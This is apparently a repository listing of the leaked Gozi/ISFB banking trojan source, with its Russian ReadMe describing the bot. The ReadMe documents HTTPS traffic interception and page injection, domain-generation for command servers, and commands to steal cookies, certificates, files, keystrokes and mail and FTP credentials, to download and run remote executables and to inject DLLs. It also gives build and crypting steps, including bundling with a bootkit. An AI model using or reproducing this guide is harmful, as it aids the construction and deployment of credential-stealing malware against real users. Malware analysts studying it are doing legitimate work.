Switch branches/tags
Nothing to show
Find file History
Fetching latest commit…
Cannot retrieve the latest commit at this time.
Permalink
..
Failed to load latest commit information.
AcDll Added Gozi/ISFB Source Mar 23, 2016
BcClient Added Gozi/ISFB Source Mar 23, 2016
Builder Added Gozi/ISFB Source Mar 23, 2016
Common Added Gozi/ISFB Source Mar 23, 2016
Handle Added Gozi/ISFB Source Mar 23, 2016
KeyLog Added Gozi/ISFB Source Mar 23, 2016
Lib32 Added Gozi/ISFB Source Mar 23, 2016
Lib64 Added Gozi/ISFB Source Mar 23, 2016
RsaKey Added Gozi/ISFB Source Mar 23, 2016
SocksLib Added Gozi/ISFB Source Mar 23, 2016
ZipLib Added Gozi/ISFB Source Mar 23, 2016
apdepack Added Gozi/ISFB Source Mar 23, 2016
client Added Gozi/ISFB Source Mar 23, 2016
crypto Added Gozi/ISFB Source Mar 23, 2016
cryptor Added Gozi/ISFB Source Mar 23, 2016
dname Added Gozi/ISFB Source Mar 23, 2016
release(builder) Added Gozi/ISFB Source Mar 23, 2016
x64/release(builder) Added Gozi/ISFB Source Mar 23, 2016
zconv Added Gozi/ISFB Source Mar 23, 2016
Config.exe Added Gozi/ISFB Source Mar 23, 2016
ReadMe.txt Added Gozi/ISFB Source Mar 23, 2016
appack.exe Added Gozi/ISFB Source Mar 23, 2016
av.c Added Gozi/ISFB Source Mar 23, 2016
bkinst.h Added Gozi/ISFB Source Mar 23, 2016
build.bat Added Gozi/ISFB Source Mar 23, 2016
build_crm.bat Added Gozi/ISFB Source Mar 23, 2016
builder.h Added Gozi/ISFB Source Mar 23, 2016
client.ini Added Gozi/ISFB Source Mar 23, 2016
config.h Added Gozi/ISFB Source Mar 23, 2016
config.txt Added Gozi/ISFB Source Mar 23, 2016
crm.h Added Gozi/ISFB Source Mar 23, 2016
crm.rc Added Gozi/ISFB Source Mar 23, 2016
crm.vcproj Added Gozi/ISFB Source Mar 23, 2016
crm_b.rc Added Gozi/ISFB Source Mar 23, 2016
crm_dbg.rc Added Gozi/ISFB Source Mar 23, 2016
crm_u.rc Added Gozi/ISFB Source Mar 23, 2016
cschar.c Added Gozi/ISFB Source Mar 23, 2016
desktop.c Added Gozi/ISFB Source Mar 23, 2016
dll.c Added Gozi/ISFB Source Mar 23, 2016
dll.def Added Gozi/ISFB Source Mar 23, 2016
dll.h Added Gozi/ISFB Source Mar 23, 2016
dll.vcproj Added Gozi/ISFB Source Mar 23, 2016
dname.txt Added Gozi/ISFB Source Mar 23, 2016
encrypts.bat Added Gozi/ISFB Source Mar 23, 2016
exe.c Added Gozi/ISFB Source Mar 23, 2016
format.txt Added Gozi/ISFB Source Mar 23, 2016
id.h Added Gozi/ISFB Source Mar 23, 2016
install.c Added Gozi/ISFB Source Mar 23, 2016
isfb.sln Added Gozi/ISFB Source Mar 23, 2016
masm64.rules Added Gozi/ISFB Source Mar 23, 2016
ntdll.h Added Gozi/ISFB Source Mar 23, 2016
pack_dll.bat Added Gozi/ISFB Source Mar 23, 2016
pack_exe.bat Added Gozi/ISFB Source Mar 23, 2016
private.key Added Gozi/ISFB Source Mar 23, 2016
private.key.txt Added Gozi/ISFB Source Mar 23, 2016
public.key Added Gozi/ISFB Source Mar 23, 2016
public.key.txt Added Gozi/ISFB Source Mar 23, 2016
resource.h Added Gozi/ISFB Source Mar 23, 2016
testconf.bin Added Gozi/ISFB Source Mar 23, 2016
testconf.txt Added Gozi/ISFB Source Mar 23, 2016
upack_dll.bat Added Gozi/ISFB Source Mar 23, 2016
zconv.txt Added Gozi/ISFB Source Mar 23, 2016

ReadMe.txt

ISFB - программа-бот предназначенная для анализа и модификации HTTP траффика на компьютере клиента.

Поддерживает все 32х и 64х битные Windows, начиная с Windows XP.
Поддерживает все 32х и 64х битные версии Internet Explorer, начиная с 6.0.
Поддерживает все 32х и 64х битные версии Mozilla Firefox.
ПОддерживает все 32х битные версии Google Chrome.

Программа способна устанавливаться и работать без привелегий администратора.
Обрабатывает весь HTTP траффик браузера в том числе и шифрованый HTTPS.

Бот управляется с удаленного сервера, с помощью файлов конфигурации и команд.
Файлы конфигурации и команд подписываются посредством RSA. При получении файлов, бот проверяет цифровую подпись,
 и, в случае несоответвия подписи, файл игнорируется.

При первом запуске бот инициирует таймер. В дальнейшем, по таймеру, бот обращается на управляющий сервер за файлами.

Поддерживается 2 способа поиска управляющего сервера:
- перебор заданного списка доменных имен и выбор активного;
- генерациия динамического списка доменных имен в зависимости от текущей даты и конфигурации системы;

Анализ траффика производится на основе специально сформированного файла конфигурации, который бот получает с сервера.
Такой файл может содержать следующие инструкции:
- подмена HTML страницы целиком
- замена фрагмента HTML страницы
- скопировать фрагмент страницы и отправить на сервер
- найти файл по маске и оправить на сервер
- сделать скриншот экрана и отправить на сервер

Кроме файла конфигурации бот получает с сервера команды:
GET_CERTS	- экспортировать и выслать сертификаты, установленные в системном хранилище Windows. 
			Для XP выгружает, также, неэкспортируемые сертификаты.
GET_COOKIES	- собрать cookie FF и IE, SOL-файлы Flash, упаковать их с сохранением структуры 
			каталогов и выслать на сервер.
CLR_COOKIES	- удалить cookie FF и IE, SOL-файлы Flash.
GET_SYSINFO	- собрать системную информацию: тип процессора, версию ОС, список процессов, список
			драйверов, список установленных программ.
KILL		- убить ОС (работает только с правами администратора)
REBOOT		- перезагрузить ОС
GROUP=n		- сменить ID группы бота на n
LOAD_EXE=URL	- загрузить файл с указанного URL и запустить его
LOAD_REG_EXE=URL- загрузить файл с указанного URL, зарегистрировать его в autirun и запустить
LOAD_UPDATE=URL	- загрузить апдейт программы и запустить
GET_LOG		- отправить внутренний лог на сервер
GET_FILES=*	- найти все файлы, соответствующие заданной маске, и отправить на сервер
SLEEP=n		- остановить обработку очереди команд на n миллисекунд. (используется при долгих операциях)
SEND_ALL	- отправить все данные из очереди на отправку немедленно. В противном случае, данные оправляются 
			по таймеру.
LOAD_DLL=URL[,URL] - загрузить по указанному URL DLL и инжектить её в процесс explorer.exe.
			первый URL для 32х-битной DLL, второй - для 64х-битной.

SOCKS_START=IP:PORT 	- запустить сокс4\5 сервер (при его наличии)
SOCKS_STOP		- остановить сокс4\5 сервер

GET_KEYLOG	- отправить данные кейлоггера (при его наличии)
GET_MAIL	- активировать граббер E-Mail (при наличии) и отправить, полученные от него, данные
GET_FTP		- активировать граббер FTP (при наличии) и отправить, полученные от него, данные

SELF_DELETE - удалить софт из системы, включая все файлы и ключи реестра

URL_BLOCK=URL	- заблокировать доступ ко всем URL удовлетворяющим заданной маске
URL_UNBLOCK=URL	- разблокировать доступ к URL, удовлетворяющим заданной маске, ранее заблокированным командой URL_BLOCK
FORMS_ON		- включить граббер HTTP форм (если есть дефайн _ALWAYS_HTTPS, то граббер HTTPs остаётся включен всегда)
FORMS_OFF		- отключить граббер HTTP форм
KEYLOG_ON[= list]	- включить кейлог, для заданного списка процессов
KEYLOG_OFF		- отключить кейлог
LOAD_INI=URL	- загрузить упакованный INI-файл с указанного URL, сохранить его в рееестре и использовать вместо INI-файла,
					прикреплённого к софту с помощью билдера. INI-файл должен быть упакован и подписан.
					
LOAD_REG_DLL = name, URL[,URL] - загрузить DLL по указанному URL, сохранить её под заданным именем и зарегистрировать для
					автоматической загрузки после каждого запуска системы
UNREG_DLL = name	- удалить из автоматической загрузки DLL c заданным именем

Технические детали

Дропер - программа установки.
Дропер представляет собой исполняемый файл Windows (PE32). В файле, в виде бинарного ресурса, содержятся 
две упакованые DLL: 32х битный и 64х-битный бот.
При старте дропер распаковывает DLL и регистрирует их для автозапуска. 
DLL распаковываются и регистрируются таким образом, чтобы иметь возможность выполняться при любом уровне привелегий: 
 как при администраторе, так и при пользователе.

DLL - бот.
Бот представляет собой динамически загружаемую библиотеку (DLL). Для каждой архитектуры собирается своя, соответствующаяя DLL.
DLL-бот загружается во все запускаемые процессы.
Бот состоит из 2х логических компонентов: парсер и сервер. Парсер активируется в контексте процесса-браузера.
Сервер активируется в контексте процесса оболочки (как правило explorer.exe).

Парсер выполняет следующие функции:
- отправка/получение данных (получение команд, конфигов; отправка форм, файлов)
- непосредственный перехват, анализ, и модификация HTTP траффика

Сервер (в контексте explorer.exe) выполняет:
- файловые операции (поиск, создание и удаление файлов)
- запуск программ, обновление
- системные функции (перезагрузка, блокировка ОС)

Таким образом, все операции, требующие привелегий, выполняются сервером в контексте explorer.exe, 
а все операции с сетью исключительно из браузера.


Сборка и настройка

Проект собирается при помощи Microsoft Visual Studio 2005, либо более поздней версии.
В проект интегрирован криптор, который используется по-умолчанию. 
В результате сборки и криптовки получаются следующие файлы:
Release\crm_p.exe
Release\client_p.dll
x64\Release\client_p.dll
это упакованные и криптованые версии бота и дропера, причем дропер (файл crm_p.exe) содержит в себе два других.
Некриптованные версии бота лежат там же:
Release\crm.exe
Release\client.dll
x64\Release\client.dll

Кроме бота, проект включает в себя:
Release\dname.exe - утилита для генерации псевдо-случайных доменных имен;
Release\rsakey.exe - утилита для подписывания файлов команд и конфига;
config.exe - программа конфигуратор.

Основные настройки программы находятся в файлах id.h и config.h.
id.h содержит номер группы бота.
config.h содержит такие параметры как: список управляющих серверов, названия URL-ов для получения команд и конфигов,
 и для отсылки данных, а также различные ключи и параметры влияющие на настройку программы.
 

Сборка с билдером

Существует возможность собрать ISFB так, чтобы в дальнейшем прикреплять к DLL ключи и файлы настроек,
 не пересобирая проект.

1. Собрать ISFB в конфигурации Release(Builder) под x86 и x64.
2. Отредактировать файлы: \public.key и \client.ini, содержащие RSA-ключ и настройки программы соответственно.
3. В консольном окне выполнить build.bat из папки \Builder
4. Забрать готовый installer.exe из папки \Builder\Release

Батник build.bat запускает билдер, который прикрепляет к каджой DLL (для х86 и х64) файлы: 
 public.key и client.ini.
В последствии обе DLL прикрепляются к инсталлеру.
Готовый инсталлер сохраняется в файл \Release\install.exe


Сборка с BK

Существует возможность собрать ISFB вместе BK в один исполняемый файл-установщик, так, чтобы в случае
 ошибки при установке BK, устанофщик извлекал DLL и устанавливал их отдельно.
Примечание: папка, содержащая солюшен с BK2 должена находиться в той же директории, что и папка, содержащая ISFB.

1. Собрать BK в конфигурации Release под х86 и х64.
2. Собрать ISFB в конфигурации Release(Builder) под x86 и x64.
3. Отредактировать файлы: \public.key и \client.ini.
4. В консольном окне запустить bkbuild.bat из папки \Builder
5. Забрать собраный bksetup.exe, содержащий BK, ISFB-DLL и ISFB-инсталлер, из \Builder\Release


Работа в режиме инжекта из памяти

Для работы в режиме инжекта из памяти необходимо установить значение флага _INJECT_AS_IMAGE в файле \common\main.h в
 TRUE, и пересобрать проект. В этом случае инсталлер не создает DLL на диске, а копирует себя в одну из системных папок 
 и регистрируется в Windows AutoRun. 
При запуске инсталлер инжектит образ DLL, соответствующей архитектуры, в Explorer.exe, откуда, в свою очередь,
 сооответствующий образ DLL инектится во все пораждаемые процессы, разных архитектур.


Плагины

ISFB поддерживает плагины: специально собраные, DLL, экпортирующие функцию PluginRegisterCallbacks и вызывающие
 внутренние функции софта (например, функции отправки данных).
Для загрузки плагина используется команда:
 LOAD_PLUGIN=URL[,URL] - где первый URL для 32х-битной версии DLL, второй - 64x-битной.
Софт скачивает DLL соответствующей архитектуры и инжектит её в explorer.exe, затем вызывается функция 
 PluginRegisterCallbacks, в которую передаётся указатель на список коллбэков (функций), реализованых
 внутри софта, которые может использовать плагин.
Описание структур и прототипов функций для создания плагинов находится в файле \common\plugin.h


Состав проекта

\AcDLL	- библиотека инжектов. Реализует механизм инжекта DLL во все пораждаемые процессы, независимо от архитектуры. 
	Поддерживает два режима работы: инжект, непосредственно DLL и инжект образа DLL из памяти без создания файла на диске.
\ApDepack - библиотека на основе APLIB, релизующая функции распаковки.
\BcClient - библиотека клиента для бэкконект сервера.
\Client - основная DLL приложения
\Common - библоиотека, реализующая общие функции, используемые в разных частях проекта. Такие как: чтение файлов, ключей реестра, 
	операции с потоками данных, со строками, с XML, хуки и т.п.
\Crypto - библиотека криптографических функций. Реализует следующие алгоритмы: CRC32, BASE64, MD5, RSA, RC6, AES, DES, SHA1.
	Используется для подписи конфиг-файлов и файлов команд, а также, для саршифровки информации e-mail и ftp аккаунтов.
\Dname	- программа генерации доменных имён на основе номера группы софта и текущей даты.
\Ftp	- библиотека FTP-грабберов.
\Handle	- библиотека, реализующая хэш таблицу. Используется для привязки хэндлов HTTP запросов к внутреннему контексту ISFB.
	Также, используется кейлоггером, для группировки клавиатурных логов по PID-ам и HWND.
\IM		- DLL-плагин, реализующая граббер Instant Messangers.
\Install - программа-установщик ISFB.
\KeyLog	- библиотека кейлоггер.
\Mail	- библиотека E-mail грабберов.
\RsaKey	- программа для шифрования и цифровой подписи конфиг-файлов и файлов команд.
\SocksLib - библиотека, реализующая SOCKS4\5-сервер.
\Sqlite3 - библиотека для работы с БД SQLLite. Используется IM-грабберами.
\ZConv	- программа-конвертер конфигов Zeus в конфиг-файлы ISFB.